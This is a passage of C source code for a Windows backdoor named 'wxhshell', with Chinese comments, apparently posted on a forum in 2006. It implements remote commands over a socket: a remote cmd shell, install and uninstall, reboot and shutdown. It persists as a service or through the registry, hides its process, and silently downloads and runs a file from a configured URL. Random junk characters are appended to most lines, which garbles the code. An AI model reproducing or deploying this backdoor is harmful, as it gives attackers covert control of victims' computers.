  case '?': { 0\84~t'[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); > f,G3Ay  
    break; VeidB!GyP  
  } q"4{GCavN  
  // 安装 -v#0.3zm  
  case 'i': { .^0@^%Wi  
    if(Install()) :786Z,')  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA`'~~!  
    else $TS4YaJ%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ={y Mk  
    break; 1>bG]l1//  
    } $Kn{x!,"(  
  // 卸载 Q[J%  
  case 'r': { M q;m+{B  
    if(Uninstall()) jFfuT9oId  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:NW  
    else c.y8x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :G\f(2@  
    break; ~p^&` FA  
    } )OxcJPo  
  // 显示 wxhshell 所在路径 t=\y|Idc  
  case 'p': { V uZd  
    char svExeFile[MAX_PATH]; 9`eu&n@Z  
    strcpy(svExeFile,"\n\r"); v1wMXOR  
      strcat(svExeFile,ExeFile); [A99e`  
        send(wsh,svExeFile,strlen(svExeFile),0); X}C }  
    break; QQ^P IQj  
    } ibo{!>m  
  // 重启 gwwYz]'d>r  
  case 'b': { U 1!6%x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BMMWP   
    if(Boot(REBOOT)) 9M{z@H/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;5FsKIF  
    else { ^y"5pf SR  
    closesocket(wsh); R@_i$Df|  
    ExitThread(0); 6'+;5M!  
    } uBp"YX9rx  
    break; -)_"7}|u5  
    } Ux5pw  
  // 关机 x%HX0= (  
  case 'd': { _Eo$V&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H0tj Bnu   
    if(Boot(SHUTDOWN)) j t9fcw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !0Hx1I<*x  
    else { R >1  
    closesocket(wsh); 8wJfG Y  
    ExitThread(0); L} r#KfIb  
    } NJ\ID=3l  
    break; U'8+YAgc  
    } <2Q+? L{  
  // 获取shell @}sxA9 a  
  case 's': { ^5n"L2 9V  
    CmdShell(wsh); 8bT]NvCA  
    closesocket(wsh); RQ}0f5~t  
    ExitThread(0); $e>(M&9,  
    break; <49Gsm&0  
  } >S\D+1PV  
  // 退出 8XFs)1s[  
  case 'x': { 4 XSEN ]F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K]5@bm  
    CloseIt(wsh); "SGq$3D  
    break; oNW5/W2e;  
    }  vV5dW  
  // 离开 n1D,0+N=  
  case 'q': { "_!D b&AH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <7-Qn(m,  
    closesocket(wsh); V}c3}'_U]  
    WSACleanup(); 90ZMO7_  
    exit(1); DbDi n  
    break; Z{<&2*  
        } BllS3I}V  
  } X6hm,0[  
  } Vu6$84>-,  
!kAjne8]d  
  // 提示信息 %#5yC|o9Pn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@$h'YUF  
} O"%b@$p\L  
  } Vqr#%. N  
glk-: #  
  return; f,S,35`qa  
} :xqhPr]e  
,ddoII  
// shell模块句柄 8n_!WDD  
int CmdShell(SOCKET sock) }.+{M.[}  
{ A5U//y![{  
STARTUPINFO si; \q2:1X |  
ZeroMemory(&si,sizeof(si)); \9r1JP0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -|Z[GN:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )w3?o#@  
PROCESS_INFORMATION ProcessInfo; "gaurr3  
char cmdline[]="cmd"; =~qQ?;o n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T'W)RYnwl  
  return 0; Y z"B  
} [w>T.b  
g" c|%3  
// 自身启动模式 X*4iNyIs_  
int StartFromService(void) _>:R]2Ew  
{ }q8 |t3  
typedef struct v@_^h}h/,=  
{ 5~BM+ja  
  DWORD ExitStatus; (T&rvE  
  DWORD PebBaseAddress; {0~ Sj%Ze  
  DWORD AffinityMask; `;X~$uS  
  DWORD BasePriority; }bkQr)us  
  ULONG UniqueProcessId; WDr C  
  ULONG InheritedFromUniqueProcessId; GPyr;FV!s  
}   PROCESS_BASIC_INFORMATION; ,drbj.0-  
0j@nOj(3  
PROCNTQSIP NtQueryInformationProcess; o p{DPUO0  
ZeB"k)FI>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JI"&3H")g%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vIMLUL0  
YB;q5[  
  HANDLE             hProcess; WR5@S&fU`  
  PROCESS_BASIC_INFORMATION pbi; 0-s[S  
;_bZH%o.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H]zi>;D  
  if(NULL == hInst ) return 0; F},#%_4  
06)B<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gfr y5e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |IN{8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nu=yE$BN{  
QYS 1.k  
  if (!NtQueryInformationProcess) return 0; ,RA;X  
(SH< ]@s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); htgtgW9 ^P  
  if(!hProcess) return 0; ~tw#Q  
seNJ6p=`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ET2^1X#j  
%1\MW+  
  CloseHandle(hProcess); j'\!p):H  
Ne!0`^`~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !@.9>"FU  
if(hProcess==NULL) return 0; =qg;K'M5  
VM.4w.})_E  
HMODULE hMod; ygN4%-[XA  
char procName[255]; pbXh}YJ&  
unsigned long cbNeeded; Xc>M_%+ R  
@2X{e7+D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d_ [l{  
.m;5s45O{  
  CloseHandle(hProcess); @N(*1,s2  
< 2 mbR  
if(strstr(procName,"services")) return 1; // 以服务启动 M15jwR!:M  
i(hL6DLD  
  return 0; // 注册表启动 6=aXz2.f  
}   (4GDh%  
yJ0q)x sS  
// 主模块 ^8z~`he=_J  
int StartWxhshell(LPSTR lpCmdLine) Kw/7X[|'G  
{ {S$]I)tV  
  SOCKET wsl; MkNPC  
BOOL val=TRUE; #?3oGrS Y  
  int port=0; j=],n8_i  
  struct sockaddr_in door; zJMm=Mw^  
G\PFh&  
  if(wscfg.ws_autoins) Install(); -jPrf:3)  
bJWPr  
port=atoi(lpCmdLine); Y|3n^%I  
EE,57(  
if(port<=0) port=wscfg.ws_port; Cih~cwE  
VhfM j|  
  WSADATA data; h!zev~u1)`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cYeC7l "  
Y3n6y+Uzk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \LEU reTn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?l/$cO  
  door.sin_family = AF_INET; V Kw33  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } G3:QD  
  door.sin_port = htons(port); -Uj3?W  
wG-lR,glb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0Mo?9??  
closesocket(wsl); %b1NlzB+  
return 1; x^959QO~  
} Y0 ?<~Gf  
X:Iam#H  
  if(listen(wsl,2) == INVALID_SOCKET) { qOD:+b  
closesocket(wsl); 2 {I(A2  
return 1; DKG99biJN  
} !5VT[w 1  
  Wxhshell(wsl); |z 8Wh  
  WSACleanup(); 4~DW7 (  
EyK F5TP0  
return 0; ?]]7PEee*  
_@/nc:)H  
} nX>HRdC  
7lH.>n  
// 以NT服务方式启动 |ZmWhkOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cq0#~20  
{ $:u5XJx  
DWORD   status = 0; +>BD^[^^  
  DWORD   specificError = 0xfffffff; 7,IH7l|G  
"T~ce@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; huTWoMU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R\MFh!6sn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ')82a49eA  
  serviceStatus.dwWin32ExitCode     = 0; 6}"t;4@$x  
  serviceStatus.dwServiceSpecificExitCode = 0; 2t3DQ  
  serviceStatus.dwCheckPoint       = 0; p3W-*lE  
  serviceStatus.dwWaitHint       = 0; z<jH{AU  
Ni Y.OwKr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $8;`6o`  
  if (hServiceStatusHandle==0) return; >J['so2Bf  
0<$t9:dq  
status = GetLastError(); c>)_I  
  if (status!=NO_ERROR) }M|,Z'@*  
{ Xt$o$V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7@u:F?c  
    serviceStatus.dwCheckPoint       = 0; Wu|ANc  
    serviceStatus.dwWaitHint       = 0; ,+U,(P5>s  
    serviceStatus.dwWin32ExitCode     = status; [R%Pf/[Fr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0w9[Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |<Rf^"T  
    return; P7|x=Ew;`  
  } J5j3#2l  
'p> *4}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qP4vH]  
  serviceStatus.dwCheckPoint       = 0; gBPYGci2F  
  serviceStatus.dwWaitHint       = 0; }\oy%]_mY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %]\IC(q  
} G5hh$Nmpi  
fKkH [  
// 处理NT服务事件,比如:启动、停止 qf?X:9Wt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UR' P,  
{ F\BD7W  
switch(fdwControl) K)_DaTmi)  
{ 7>$&CWI  
case SERVICE_CONTROL_STOP: t{g7 :A  
  serviceStatus.dwWin32ExitCode = 0; SMIr@*R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eUZvJTE  
  serviceStatus.dwCheckPoint   = 0; b.lK0 Xo  
  serviceStatus.dwWaitHint     = 0; tv\_& ({  
  { D\9-MXc1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >j}.~$6dj_  
  } 72akOx   
  return; qrt2BT)  
case SERVICE_CONTROL_PAUSE: k]] e8>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kr{eC/Q"  
  break; g|V md  
case SERVICE_CONTROL_CONTINUE: '@3Kq\/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o3kVcX^  
  break; }MCJ$=5  
case SERVICE_CONTROL_INTERROGATE: (I0QwB  
  break; @q<F_'7is  
}; nAY'1!Oi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5* 3T+OK  
} ['#3GJz-  
;lU]ilYv  
// 标准应用程序主函数 JV_V2L1Ut  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c@<vFoq  
{ JR^#NefJ  
TW)~&;1l  
// 获取操作系统版本 Bq*aP*jv  
OsIsNt=GetOsVer(); , I^:xw_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Di>B:=  
T(4OPiKu  
  // 从命令行安装 4pG!m&4]ze  
  if(strpbrk(lpCmdLine,"iI")) Install(); %wk3&EC.  
SM1[)jZ-  
  // 下载执行文件 +L>?kr[i[  
if(wscfg.ws_downexe) { 45H(.}&f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w$j!89@)  
  WinExec(wscfg.ws_filenam,SW_HIDE); HHXm 4}!;<  
} ^!yJ;'H\  
]^c]*O[8  
if(!OsIsNt) { \Zbi`;m?  
// 如果时win9x,隐藏进程并且设置为注册表启动 SZ3UR  
HideProc(); V+- ]txu|  
StartWxhshell(lpCmdLine); o{I]c#W  
} 86HK4sES  
else #s]'2O  
  if(StartFromService()) .Mz'h 9@  
  // 以服务方式启动 4b<>gpQ  
  StartServiceCtrlDispatcher(DispatchTable); '%\FT-{  
else $Q'S8TU  
  // 普通方式启动 4y|%Oj  
  StartWxhshell(lpCmdLine); TF7~eyLg  
T]0H&Oov  
return 0; | l|7[  
}
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只看该作者 1 发表于: 2006-10-10
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